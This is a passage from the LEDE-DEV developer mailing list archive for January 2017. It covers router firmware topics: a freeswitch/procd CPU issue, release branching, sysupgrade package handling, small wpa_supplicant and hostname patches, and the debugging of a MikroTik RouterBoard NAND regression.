Message-ID: <20170110190044.GA3300@wolfgang.lan>

On Mon, Jan 09, 2017 at 04:33:02PM +0100, Baptiste Jonglez wrote:
> Hi Sebastian,
> 
> On Mon, Dec 19, 2016 at 11:58:26PM +0100, Sebastian Kemper wrote:
> > Hi all,
> > 
> > I'm running LEDE git from yesterday (but also observed this on an older
> > git revision from a few weeks back) on a small mips router. When I start
> > freeswitch compiled without libedit via procd, CPU usage goes up to a
> > 100% percent. When freeswitch is compiled with libedit on the other
> > hand, everything seems fine.
> > 
> > Also, when I start the libedit-less freeswitch from the command
> > line/shell, all is fine, too.
> > 
> > When I set the logging to syslog (procd_set_param stdout 1), then
> > logread shows this all the time:
> > 
> > Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> > Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> > Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> > Mon Dec 19 23:17:12 2016 daemon.info freeswitch[3495]: freeswitch at hank2> 
> 
> What is the behaviour of freeswitch when you launch it directly from the
> command-line?  Does it give you a prompt, or does it just run in the
> foreground without printing anything?

Hi Baptiste,

It gives a prompt.

> 
> If freeswitch expects an interactive terminal to accept user commands,
> it's most likely the cause of the issue, because procd does not provide
> this.  If that is the case, maybe disabling the interactive prompt in
> freeswitch could help?

Yes, but as this only happens when FS is compiled without libedit, I
don't think it's the prompt per se.

And yes, when I disable the prompt by calling it with -nc (no console)
and -fg (no fork) then there's no issue with CPU consumption. It's just
that procd really wants the console output, which is nice because you
can put it into logd if you want.

But for now the workaround will do.

Thanks!
Sebastian



From lede at kitschensync.net  Tue Jan 10 11:48:42 2017
From: lede at kitschensync.net (Ted Hess)
Date: Tue, 10 Jan 2017 14:48:42 -0500
Subject: [LEDE-DEV] Branching LEDE 17.01
In-Reply-To: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
References: <0578f244-bef6-7763-d510-bf73d40cac17@mein.io>
Message-ID: <1484077722.18918.3.camel@kitschensync.net>

On Tue, 2017-01-10 at 16:19 +0100, Jo-Philipp Wich wrote:
> Hi guys,
> 
> I'd like to branch off lede-17.01 on Friday, the 13th and would
> appreciate if you could merge your outstanding, release critical work
> until then.
> 
> If you think we should delay branching, then raise your objections now.
> 
> If no objections are brought up within the next 24 hours, I'll go
> forward asking the feed maintainers to create "lede-17.01" branches.
> 
> 
> Regards,
> Jo
> 
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev

Hi Jo -

Could you possibly hold off on this until after the weekend. I'm still working
on a few PolarSSL issues (and some other more minor) in the Packages repo. I
should have them done by then.

After that, I'll just cherry-pick other fixes until we freeze a release.

/ted



From oswald.buddenhagen at gmx.de  Tue Jan 10 14:41:30 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Tue, 10 Jan 2017 23:41:30 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <5664577d-c503-9af3-db82-b8080ddf7f93@mein.io>
References: <20170107180428.GA29356@ugly>
 <5664577d-c503-9af3-db82-b8080ddf7f93@mein.io>
Message-ID: <20170110224130.GA32427@ugly>

On Sun, Jan 08, 2017 at 08:38:04PM +0100, Jo-Philipp Wich wrote:
> Right now it cannot be provided unless we provide suitable meta data for
> that on the server side or - preferably - inside the image itself.
> 
i actually had that typed out already, but deleted it because it seems
like a complete no-brainer to me. there doesn't appear to be anything
hard about having the build bots include a file into /etc which contains
the _current_ repository url, subdirectory, and image name.

whenever the de-facto policy changes in an ordered way, there should be
a transition phase where the images are available at both locations, but
already point to the new one.

and when the download fails because the policy changes unexpectedly (or
the user neglected to trigger the process for too long), the interactive
variant of the tool can just ask for the information it found outdated.
even in this worst case, that system is still *a lot* more convenient
(and thus less likely to contribute to unpatched CPEs) than what exists
now.


From oswald.buddenhagen at gmx.de  Tue Jan 10 15:22:46 2017
From: oswald.buddenhagen at gmx.de (Oswald Buddenhagen)
Date: Wed, 11 Jan 2017 00:22:46 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io>
References: <20170108125309.GB8750@ugly>
 <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io>
Message-ID: <20170110232246.GB32427@ugly>

On Sun, Jan 08, 2017 at 08:42:25PM +0100, Jo-Philipp Wich wrote:
> the imagebuilder should support all that already and it likely fills the
> "powerful desktop tools" part your concept requires.
> 
i answered that in my other mail already.

anyway, specifically regarding the existing imagebuilder, i'm not really
satisfied. it's a big download which is specific to each target, and
requires pretty much a complete build environment. of course, it's the
obvious choice to minimize development effort, but as a user i'd expect
something ... nicer.

in my understanding, sysupgrade images (and uimages) are a pretty
uniform archive format, just like the feed packages are. that means that
a single generic tool should be able to work with all targets, over
extended periods of time, and would need to support a rather limited
number of features to accomplish the goal of building images from the
"regular" image+package downloads that are already available.

> Given the recent advances with Linux support on Windows 10 plus Docker
> etc. it shouldn't be too hard to bundle an ImageBuilder with some
> Desktop ui and an RPC client to remote-control the router via SSH or
> HTTPS-UBUS-RPC.
> 
that's way too new-fangled for my taste. :D
a simple desktop application (built with the cross-platform toolkit of
the developer's choice) would do just fine. all the steps that deal with
the archives can be handled in-process by linked libraries (most of the
code is already librarized). offer three pre-built binaries for the
major desktops. "regular" linux distros would package it for you as well.

of course, over time the scope of that application could be extended
into a generic openwrt installer which can actually flash uboot and
everything on top. that would actually provide significant added value
over the purely on-device update mechanism proposed in the other thread,
and could potentially significantly increase the user base of openwrt.

a different aspect would be developing it into a complete desktop-based
"luci" (basically an extended version of the initial idea of this
thread), but that seems kinda unreasonable to me.

> Do you plan to work on something like that?
> 
given current realities of the size of my todo list and available spare
time, the best i can hope for is to inspire Someone Else (TM) to pick up
some of my ideas ...


From Jason at zx2c4.com  Tue Jan 10 15:34:55 2017
From: Jason at zx2c4.com (Jason A. Donenfeld)
Date: Wed, 11 Jan 2017 00:34:55 +0100
Subject: [LEDE-DEV] per-cpu IRQ stack on MIPS
Message-ID: <CAHmME9pZ65Z_jwFWzS0mMM7+Gh1zAHHBr3zhx3pWOpJWWwFmmg@mail.gmail.com>

Hey folks,

You might considering backporting this patchset to the LEDE/OpenWRT kernel:

http://www.spinics.net/lists/mips/msg65937.html

It prevents crashes when lots of different networking drivers are
stacked on top of eachother, like gre+l2tp+somethingelse.

Jason


From info at rauberhaus.de  Tue Jan 10 15:35:23 2017
From: info at rauberhaus.de (info at rauberhaus.de)
Date: Wed, 11 Jan 2017 00:35:23 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170110232246.GB32427@ugly>
References: <20170108125309.GB8750@ugly>
 <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io> <20170110232246.GB32427@ugly>
Message-ID: <0351e56a-aa58-efd2-8fe7-449113ccdb77@rauberhaus.de>

you guys know the meshkit ?

http://firmware.leipzig.freifunk.net:8086/meshkit/default/wizard

as it used in leipzig, or for freifunk in general for example.
There you can add packages in second step as you like ...

this is far mor advanced

jens
On 11.01.2017 00:22, Oswald Buddenhagen wrote:
> On Sun, Jan 08, 2017 at 08:42:25PM +0100, Jo-Philipp Wich wrote:
>> the imagebuilder should support all that already and it likely fills the
>> "powerful desktop tools" part your concept requires.
>>


From m.sujith at gmail.com  Tue Jan 10 18:09:22 2017
From: m.sujith at gmail.com (Sujith)
Date: Wed, 11 Jan 2017 07:39:22 +0530
Subject: [LEDE-DEV] [PATCH v2] wpa_supplicant: Fix mesh encryption config
Message-ID: <20170111020922.10628-1-m.sujith@gmail.com>

From: Sujith Manoharan <m.sujith at gmail.com>

wpa_supplicant allows only SAE as the key management
type for mesh mode. The recent key_mgmt rework unconditionally
added WPA-PSK - this breaks interface bringup and wpa_s
throws this error message:

Line 10: key_mgmt for mesh network should be open or SAE
Line 10: failed to parse network block.
Failed to read or parse configuration '/var/run/wpa_supplicant-wlan0.conf

Fix this by making sure that only SAE is used for mesh.

Signed-off-by: Sujith Manoharan <m.sujith at gmail.com>
---
 package/network/services/hostapd/files/netifd.sh | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/package/network/services/hostapd/files/netifd.sh b/package/network/services/hostapd/files/netifd.sh
index a7a6a64e7a..fb23e52e67 100644
--- a/package/network/services/hostapd/files/netifd.sh
+++ b/package/network/services/hostapd/files/netifd.sh
@@ -617,7 +617,10 @@ wpa_supplicant_add_network() {
 		psk)
 			local passphrase
 
-			hostapd_append_wpa_key_mgmt
+			if [ "$_w_mode" != "mesh" ]; then
+				hostapd_append_wpa_key_mgmt
+			fi
+
 			key_mgmt="$wpa_key_mgmt"
 
 			if [ ${#key} -eq 64 ]; then
-- 
2.11.0



From yszhou4tech at gmail.com  Tue Jan 10 19:21:16 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Wed, 11 Jan 2017 11:21:16 +0800
Subject: [LEDE-DEV] [PATCH] base-files: uppercase default hostname: LEDE
Message-ID: <1484104876-20361-1-git-send-email-yszhou4tech@gmail.com>

The name will appear in shell prompt and LuCI page title.  Uppercase
letters seem to be more vigorous

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 package/base-files/files/bin/config_generate | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/package/base-files/files/bin/config_generate b/package/base-files/files/bin/config_generate
index f9b4e5c..6230b08 100755
--- a/package/base-files/files/bin/config_generate
+++ b/package/base-files/files/bin/config_generate
@@ -226,7 +226,7 @@ generate_static_system() {
 	uci -q batch <<-EOF
 		delete system. at system[0]
 		add system system
-		set system. at system[-1].hostname='lede'
+		set system. at system[-1].hostname='LEDE'
 		set system. at system[-1].timezone='UTC'
 		set system. at system[-1].ttylogin='0'
 		set system. at system[-1].log_size='64'
-- 
2.6.4



From cezary.jackiewicz at gmail.com  Wed Jan 11 00:17:46 2017
From: cezary.jackiewicz at gmail.com (Cezary Jackiewicz)
Date: Wed, 11 Jan 2017 09:17:46 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
Message-ID: <20170111091746.4f43a537@samsung>

Dnia 2017-01-08, o godz. 14:54:33
Felix Fietkau <nbd at nbd.name> napisa?(a):

> Hi all,
> 
> I've just pushed the code for converting ar71xx routerboard support to
> UBI + sysupgrade to my staging tree at:
> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
> 
> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
> are still untested. If you have any affected hardware, please test the
> new code with a fresh build from that tree (make sure you reset your
> config) and let me know if it works.
> 
> Installation is now done only over sysupgrade (from the initramfs
> image), the old wget2nand script and rootfs tarballs are gone.

Boot from initramfs:

RouterBoard 411U

CPU frequency: 300 MHz
  Memory size:  32 MiB
    NAND size: 128 MiB

Press any key within 2 seconds to enter setup
trying bootp protocol... OK
Got IP address: 192.168.1.134
resolved mac address E8:11:32:99:3D:A0
Gateway: 192.168.1.10
transfer started ................................................ transfer ok, time=2.79s
setting up elf image... OK
jumping to kernel code
[    0.000000] Linux version 4.4.40 (cezary at eko.one.pl) (gcc version 5.4.0 (LEDE GCC 5.4.0 r2900-e5aeb4a) ) #0 Tue Jan 10 17:18:04 2017
[    0.000000] bootconsole [early0] enabled
....
[    0.000000] Kernel command line: parts=1 boot_part_size=4194304 gpio=1855 HZ=150000000 mem=32M kmac=4C:5E:0C:31:B3:F5 board=411U hw_opt=00000000 boot=0 mlc=8 rootfstype=squashfs noinitrd
....

[    7.784959] m25p80 spi0.0: pm25lv512 (64 Kbytes)
[    7.840380] Creating 4 MTD partitions on "spi0.0":
[    7.897848] 0x000000000000-0x00000000b000 : "routerboot"
[    7.966111] 0x00000000b000-0x00000000c000 : "hard_config"
[    8.033665] 0x00000000d000-0x00000000f000 : "bios"
[    8.093852] 0x00000000f000-0x000000010000 : "soft_config"
[    8.161543] NAND flash driver for RouterBoard 4xx series version 0.2.0
[    8.239896] rb4xx_nand: write cmd failed, err=-22
[    8.296268] rb4xx_nand: write cmd failed, err=-22
[    8.352640] rb4xx_nand: write cmd failed, err=-22
[    8.409041] rb4xx_nand: write cmd failed, err=-22
[    8.465399] rb4xx_nand: write cmd failed, err=-22
[    8.521847] nand: second ID read did not match ec,f1 against 41,ec
[    8.595962] nand: No NAND device found
[    8.655044] libphy: ag71xx_mdio: probed

 $ ./scripts/diffconfig.sh 
CONFIG_TARGET_ar71xx=y
CONFIG_TARGET_ar71xx_mikrotik=y
CONFIG_TARGET_ar71xx_mikrotik_Default=y

$ git log -1
commit e5aeb4ad918081c5df19e7b48e4e73604465f5f3
Author: Felix Fietkau <nbd at nbd.name>
Date:   Tue Jan 10 18:09:22 2017 +0100

    ar71xx: fix up the kernel config for the mikrotik subtarget
    
    Limit enabled devices to routerboards, disable all other devices
    
    Signed-off-by: Felix Fietkau <nbd at nbd.name>


From "old" CC:

[    2.690000] m25p80 spi0.0: pm25lv512 (64 Kbytes)
[    2.720000] Creating 4 MTD partitions on "spi0.0":
[    2.730000] 0x000000000000-0x00000000b000 : "routerboot"
[    2.740000] 0x00000000b000-0x00000000c000 : "hard_config"
[    2.740000] 0x00000000d000-0x00000000f000 : "bios"
[    2.750000] 0x00000000f000-0x000000010000 : "soft_config"
[    2.760000] NAND flash driver for RouterBoard 4xx series version 0.2.0
[    2.760000] nand: device found, Manufacturer ID: 0xec, Chip ID: 0xf1
[    2.770000] nand: Samsung NAND 128MiB 3,3V 8-bit
[    2.770000] nand: 128MiB, SLC, page size: 2048, OOB size: 64
[    2.780000] Scanning device for bad blocks
[    3.260000] Creating 3 MTD partitions on "NAND 128MiB 3,3V 8-bit":
[    3.270000] 0x000000000000-0x000000040000 : "booter"
[    3.280000] 0x000000040000-0x000000400000 : "kernel"
[    3.280000] 0x000000400000-0x000008000000 : "rootfs"
[    3.290000] mtd: device 6 (rootfs) set to be root filesystem
[    3.300000] mtdsplit: no squashfs found in "rootfs"
[    3.300000] mtdsplit: no squashfs found in "NAND 128MiB 3,3V 8-bit"


-- 
Pozdrawiam,
 Cezary Jackiewicz


From nbd at nbd.name  Wed Jan 11 00:32:39 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 09:32:39 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <20170111091746.4f43a537@samsung>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
Message-ID: <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>

On 2017-01-11 09:17, Cezary Jackiewicz wrote:
> Dnia 2017-01-08, o godz. 14:54:33
> Felix Fietkau <nbd at nbd.name> napisa?(a):
> 
>> Hi all,
>> 
>> I've just pushed the code for converting ar71xx routerboard support to
>> UBI + sysupgrade to my staging tree at:
>> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>> 
>> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
>> are still untested. If you have any affected hardware, please test the
>> new code with a fresh build from that tree (make sure you reset your
>> config) and let me know if it works.
>> 
>> Installation is now done only over sysupgrade (from the initramfs
>> image), the old wget2nand script and rootfs tarballs are gone.
> 
> Boot from initramfs:
> 
> RouterBoard 411U
> 
> CPU frequency: 300 MHz
>   Memory size:  32 MiB
>     NAND size: 128 MiB
> 
> Press any key within 2 seconds to enter setup
> trying bootp protocol... OK
> Got IP address: 192.168.1.134
> resolved mac address E8:11:32:99:3D:A0
> Gateway: 192.168.1.10
> transfer started ................................................ transfer ok, time=2.79s
> setting up elf image... OK
> jumping to kernel code
> [    0.000000] Linux version 4.4.40 (cezary at eko.one.pl) (gcc version 5.4.0 (LEDE GCC 5.4.0 r2900-e5aeb4a) ) #0 Tue Jan 10 17:18:04 2017
> [    0.000000] bootconsole [early0] enabled
> ....
> [    0.000000] Kernel command line: parts=1 boot_part_size=4194304 gpio=1855 HZ=150000000 mem=32M kmac=4C:5E:0C:31:B3:F5 board=411U hw_opt=00000000 boot=0 mlc=8 rootfstype=squashfs noinitrd
> ....
> 
> [    7.784959] m25p80 spi0.0: pm25lv512 (64 Kbytes)
> [    7.840380] Creating 4 MTD partitions on "spi0.0":
> [    7.897848] 0x000000000000-0x00000000b000 : "routerboot"
> [    7.966111] 0x00000000b000-0x00000000c000 : "hard_config"
> [    8.033665] 0x00000000d000-0x00000000f000 : "bios"
> [    8.093852] 0x00000000f000-0x000000010000 : "soft_config"
> [    8.161543] NAND flash driver for RouterBoard 4xx series version 0.2.0
> [    8.239896] rb4xx_nand: write cmd failed, err=-22
> [    8.296268] rb4xx_nand: write cmd failed, err=-22
> [    8.352640] rb4xx_nand: write cmd failed, err=-22
> [    8.409041] rb4xx_nand: write cmd failed, err=-22
> [    8.465399] rb4xx_nand: write cmd failed, err=-22
> [    8.521847] nand: second ID read did not match ec,f1 against 41,ec
> [    8.595962] nand: No NAND device found
> [    8.655044] libphy: ag71xx_mdio: probed
This does not look like it something caused by changes in my staging
tree, it may already be present in LEDE master. Could you please verify
that and if it's the case, use git bisect to track down the issue to an
individual commit?

Thanks,

- Felix



From dev at kresin.me  Wed Jan 11 01:19:02 2017
From: dev at kresin.me (Mathias Kresin)
Date: Wed, 11 Jan 2017 10:19:02 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
Message-ID: <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>

11.01.2017 09:32, Felix Fietkau:
> On 2017-01-11 09:17, Cezary Jackiewicz wrote:
>> Dnia 2017-01-08, o godz. 14:54:33
>> Felix Fietkau <nbd at nbd.name> napisa?(a):
>>
>>> Hi all,
>>>
>>> I've just pushed the code for converting ar71xx routerboard support to
>>> UBI + sysupgrade to my staging tree at:
>>> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>>>
>>> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
>>> are still untested. If you have any affected hardware, please test the
>>> new code with a fresh build from that tree (make sure you reset your
>>> config) and let me know if it works.
>>>
>>> Installation is now done only over sysupgrade (from the initramfs
>>> image), the old wget2nand script and rootfs tarballs are gone.
>>
>> Boot from initramfs:
>>
>> RouterBoard 411U
>>
>> CPU frequency: 300 MHz
>>   Memory size:  32 MiB
>>     NAND size: 128 MiB
>>
>> Press any key within 2 seconds to enter setup
>> trying bootp protocol... OK
>> Got IP address: 192.168.1.134
>> resolved mac address E8:11:32:99:3D:A0
>> Gateway: 192.168.1.10
>> transfer started ................................................ transfer ok, time=2.79s
>> setting up elf image... OK
>> jumping to kernel code
>> [    0.000000] Linux version 4.4.40 (cezary at eko.one.pl) (gcc version 5.4.0 (LEDE GCC 5.4.0 r2900-e5aeb4a) ) #0 Tue Jan 10 17:18:04 2017
>> [    0.000000] bootconsole [early0] enabled
>> ....
>> [    0.000000] Kernel command line: parts=1 boot_part_size=4194304 gpio=1855 HZ=150000000 mem=32M kmac=4C:5E:0C:31:B3:F5 board=411U hw_opt=00000000 boot=0 mlc=8 rootfstype=squashfs noinitrd
>> ....
>>
>> [    7.784959] m25p80 spi0.0: pm25lv512 (64 Kbytes)
>> [    7.840380] Creating 4 MTD partitions on "spi0.0":
>> [    7.897848] 0x000000000000-0x00000000b000 : "routerboot"
>> [    7.966111] 0x00000000b000-0x00000000c000 : "hard_config"
>> [    8.033665] 0x00000000d000-0x00000000f000 : "bios"
>> [    8.093852] 0x00000000f000-0x000000010000 : "soft_config"
>> [    8.161543] NAND flash driver for RouterBoard 4xx series version 0.2.0
>> [    8.239896] rb4xx_nand: write cmd failed, err=-22
>> [    8.296268] rb4xx_nand: write cmd failed, err=-22
>> [    8.352640] rb4xx_nand: write cmd failed, err=-22
>> [    8.409041] rb4xx_nand: write cmd failed, err=-22
>> [    8.465399] rb4xx_nand: write cmd failed, err=-22
>> [    8.521847] nand: second ID read did not match ec,f1 against 41,ec
>> [    8.595962] nand: No NAND device found
>> [    8.655044] libphy: ag71xx_mdio: probed
> This does not look like it something caused by changes in my staging
> tree, it may already be present in LEDE master. Could you please verify
> that and if it's the case, use git bisect to track down the issue to an
> individual commit?

Hey Felix, Hey Cezary,

this bug is already reported in 
https://bugs.lede-project.org/index.php?do=details&task_id=376.

The reporter was able to track down the breakage to 
https://git.lede-project.org/af79fdbe4af32a287798b579141204bda056b8aa 
("ar71xx: remove a non-upstream spi core patch") committed by felix.

Mathias


From baptiste at bitsofnetworks.org  Wed Jan 11 01:38:31 2017
From: baptiste at bitsofnetworks.org (Baptiste Jonglez)
Date: Wed, 11 Jan 2017 10:38:31 +0100
Subject: [LEDE-DEV] Difference between AutoLoad vs. AutoProbe for kernel
 modules?
In-Reply-To: <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
References: <20170109132528.GA15149@tuxmachine.polynome.dn42>
 <d627f3f9-bded-3097-f3d2-eff4d033e813@createc.ro>
 <af7f6780-108e-8eae-e42b-eca1a63cae3b@phrozen.org>
 <20170110081700.GA8748@tuxmachine.polynome.dn42>
 <2c89fdc6-074d-6f22-1bc9-9c54d0caf742@phrozen.org>
 <2e21e8bf-49c6-3d6d-acab-fae4f0690262@neratec.com>
 <c201bb07-9f36-9317-6a53-2f00032ff894@phrozen.org>
 <CAECwjAgaNenRnd2mj-9-QHMV2yu5Er7pHiVjfWknn+cQ-waKEA@mail.gmail.com>
Message-ID: <20170111093831.GA11399@tuxmachine.polynome.dn42>

On Tue, Jan 10, 2017 at 07:11:56PM +0800, Yousong Zhou wrote:
> On 10 January 2017 at 18:27, John Crispin <john at phrozen.org> wrote:
> > correct, which is why we tend to add subsystem and lib stuff using
> > AutoLoad and the rest using AutoProbe
> 
> I think the problem with wireguard in github issue 3790 [1] is that
> wireguard requires NFPROTO_{IPV4,IPV6} "hashlimit" module and
> netfilter subsystem will try to load ipt_hashlimit and ip6t_hashlimit
> which are aliases of xt_hashlimit, but we have aliases along with
> other modinfoinfo stripped from kernel modules with patch
> 204-module_strip.patch.

In this case, I think the issue is different: wireguard does not
seem to explicitly depend on xt_hashlimit:

$ modinfo /lib/modules/4.9.0-1-ARCH/kernel/net/wireguard.ko
depends:        udp_tunnel,ip6_udp_tunnel,x_tables

$ modinfo /lib/modules/4.9.0-1-ARCH/kernel/net/netfilter/x_tables.ko.gz
description:    {ip,ip6,arp,eb}_tables backend module

$ modinfo /lib/modules/4.9.0-1-ARCH/kernel/net/netfilter/xt_hashlimit.ko.gz
alias:          ip6t_hashlimit
alias:          ipt_hashlimit
depends:        x_tables

Jason, what do you think of the github issue linked below?  Should
wireguard explicitly depend on xt_hashlimit?  How do you handle the
dependency chain on other platforms?

> [1] https://github.com/openwrt/packages/issues/3790

Baptiste
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 833 bytes
Desc: not available
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170111/87396200/attachment.sig>

From nbd at nbd.name  Wed Jan 11 01:45:35 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 10:45:35 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
 <20170111091746.4f43a537@samsung>
 <7b76446f-115c-bdae-6002-312b28e29a82@nbd.name>
 <b76087bd-f0df-0866-5116-c1e078f331a0@kresin.me>
Message-ID: <5dba2824-e233-6272-72a7-f380ed4d2df3@nbd.name>

On 2017-01-11 10:19, Mathias Kresin wrote:
> 11.01.2017 09:32, Felix Fietkau:
>> On 2017-01-11 09:17, Cezary Jackiewicz wrote:
>>> Dnia 2017-01-08, o godz. 14:54:33
>>> Felix Fietkau <nbd at nbd.name> napisa?(a):
>>>
>>>> Hi all,
>>>>
>>>> I've just pushed the code for converting ar71xx routerboard support to
>>>> UBI + sysupgrade to my staging tree at:
>>>> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>>>>
>>>> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
>>>> are still untested. If you have any affected hardware, please test the
>>>> new code with a fresh build from that tree (make sure you reset your
>>>> config) and let me know if it works.
>>>>
>>>> Installation is now done only over sysupgrade (from the initramfs
>>>> image), the old wget2nand script and rootfs tarballs are gone.
>>>
>>> Boot from initramfs:
>>>
>>> RouterBoard 411U
>>>
>>> CPU frequency: 300 MHz
>>>   Memory size:  32 MiB
>>>     NAND size: 128 MiB
>>>
>>> Press any key within 2 seconds to enter setup
>>> trying bootp protocol... OK
>>> Got IP address: 192.168.1.134
>>> resolved mac address E8:11:32:99:3D:A0
>>> Gateway: 192.168.1.10
>>> transfer started ................................................ transfer ok, time=2.79s
>>> setting up elf image... OK
>>> jumping to kernel code
>>> [    0.000000] Linux version 4.4.40 (cezary at eko.one.pl) (gcc version 5.4.0 (LEDE GCC 5.4.0 r2900-e5aeb4a) ) #0 Tue Jan 10 17:18:04 2017
>>> [    0.000000] bootconsole [early0] enabled
>>> ....
>>> [    0.000000] Kernel command line: parts=1 boot_part_size=4194304 gpio=1855 HZ=150000000 mem=32M kmac=4C:5E:0C:31:B3:F5 board=411U hw_opt=00000000 boot=0 mlc=8 rootfstype=squashfs noinitrd
>>> ....
>>>
>>> [    7.784959] m25p80 spi0.0: pm25lv512 (64 Kbytes)
>>> [    7.840380] Creating 4 MTD partitions on "spi0.0":
>>> [    7.897848] 0x000000000000-0x00000000b000 : "routerboot"
>>> [    7.966111] 0x00000000b000-0x00000000c000 : "hard_config"
>>> [    8.033665] 0x00000000d000-0x00000000f000 : "bios"
>>> [    8.093852] 0x00000000f000-0x000000010000 : "soft_config"
>>> [    8.161543] NAND flash driver for RouterBoard 4xx series version 0.2.0
>>> [    8.239896] rb4xx_nand: write cmd failed, err=-22
>>> [    8.296268] rb4xx_nand: write cmd failed, err=-22
>>> [    8.352640] rb4xx_nand: write cmd failed, err=-22
>>> [    8.409041] rb4xx_nand: write cmd failed, err=-22
>>> [    8.465399] rb4xx_nand: write cmd failed, err=-22
>>> [    8.521847] nand: second ID read did not match ec,f1 against 41,ec
>>> [    8.595962] nand: No NAND device found
>>> [    8.655044] libphy: ag71xx_mdio: probed
>> This does not look like it something caused by changes in my staging
>> tree, it may already be present in LEDE master. Could you please verify
>> that and if it's the case, use git bisect to track down the issue to an
>> individual commit?
> 
> Hey Felix, Hey Cezary,
> 
> this bug is already reported in 
> https://bugs.lede-project.org/index.php?do=details&task_id=376.
> 
> The reporter was able to track down the breakage to 
> https://git.lede-project.org/af79fdbe4af32a287798b579141204bda056b8aa 
> ("ar71xx: remove a non-upstream spi core patch") committed by felix.
Thanks Mathias, that helps.

Cezary, please try the latest version from my staging tree, I just
pushed a fix for this regression that should hopefully make it work again.

- Felix



From nbd at nbd.name  Wed Jan 11 01:53:30 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Wed, 11 Jan 2017 10:53:30 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170110232246.GB32427@ugly>
References: <20170108125309.GB8750@ugly>
 <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io> <20170110232246.GB32427@ugly>
Message-ID: <1a8eb250-1388-b9ac-90af-460002e7b7c4@nbd.name>

On 2017-01-11 00:22, Oswald Buddenhagen wrote:
> On Sun, Jan 08, 2017 at 08:42:25PM +0100, Jo-Philipp Wich wrote:
>> the imagebuilder should support all that already and it likely fills the
>> "powerful desktop tools" part your concept requires.
>> 
> i answered that in my other mail already.
> 
> anyway, specifically regarding the existing imagebuilder, i'm not really
> satisfied. it's a big download which is specific to each target, and
> requires pretty much a complete build environment. of course, it's the
> obvious choice to minimize development effort, but as a user i'd expect
> something ... nicer.
> 
> in my understanding, sysupgrade images (and uimages) are a pretty
> uniform archive format, just like the feed packages are. that means that
> a single generic tool should be able to work with all targets, over
> extended periods of time, and would need to support a rather limited
> number of features to accomplish the goal of building images from the
> "regular" image+package downloads that are already available.
sysupgrade images are really not uniform in any way. Different targets
use wildly different formats, sometimes different filesystems as well.

- Felix



From jo at mein.io  Wed Jan 11 01:54:10 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Wed, 11 Jan 2017 10:54:10 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <20170110224130.GA32427@ugly>
References: <20170107180428.GA29356@ugly>
 <5664577d-c503-9af3-db82-b8080ddf7f93@mein.io> <20170110224130.GA32427@ugly>
Message-ID: <22c2dac6-4d8c-10a6-a475-386a988c2e70@mein.io>

Hi,

> i actually had that typed out already, but deleted it because it seems
> like a complete no-brainer to me. there doesn't appear to be anything
> hard about having the build bots include a file into /etc which contains
> the _current_ repository url, subdirectory, and image name.

you forget that up until very recently the same kernel and rootfs was
used for many different images only varying in filename, image header
and kernel command line. The squashfs was not repacked for each
individual device image, which made it impossible to add an individual
file into /etc/ for each device specific image.

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170111/2fbd684d/attachment-0001.sig>

From nbd at nbd.name  Wed Jan 11 01:59:40 2017
